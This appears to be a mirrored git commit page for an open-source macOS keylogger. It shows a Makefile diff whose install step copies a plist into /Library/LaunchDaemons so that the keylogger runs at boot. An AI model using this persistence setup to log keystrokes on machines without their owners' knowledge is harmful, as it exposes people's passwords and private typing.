1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

Update Makefile to create LaunchDaemon on install.

This commit is contained in:
Casey Scarborough 2013-09-17 13:30:49 -04:00
parent 1065926191
commit a9df56d78f

View File

@ -2,16 +2,20 @@ CC=gcc
CFLAGS=-framework ApplicationServices -framework Carbon CFLAGS=-framework ApplicationServices -framework Carbon
SOURCES=keylogger.c keylogger.h SOURCES=keylogger.c keylogger.h
EXECUTABLE=keylogger EXECUTABLE=keylogger
PLIST=keylogger.plist
INSTALLDIR=/usr/local/bin INSTALLDIR=/usr/local/bin
all: $(SOURCES) all: $(SOURCES)
$(CC) $(SOURCES) $(CFLAGS) -o $(EXECUTABLE) $(CC) $(SOURCES) $(CFLAGS) -o $(EXECUTABLE)
install: install:
mkdir -p $(INSTALLDIR)
cp $(EXECUTABLE) $(INSTALLDIR) cp $(EXECUTABLE) $(INSTALLDIR)
cp $(PLIST) /Library/LaunchDaemons
uninstall: uninstall:
rm $(INSTALLDIR)/$(EXECUTABLE) rm $(INSTALLDIR)/$(EXECUTABLE)
rm /Library/LaunchDaemons/$(PLIST)
clean: clean:
rm $(EXECUTABLE) rm $(EXECUTABLE)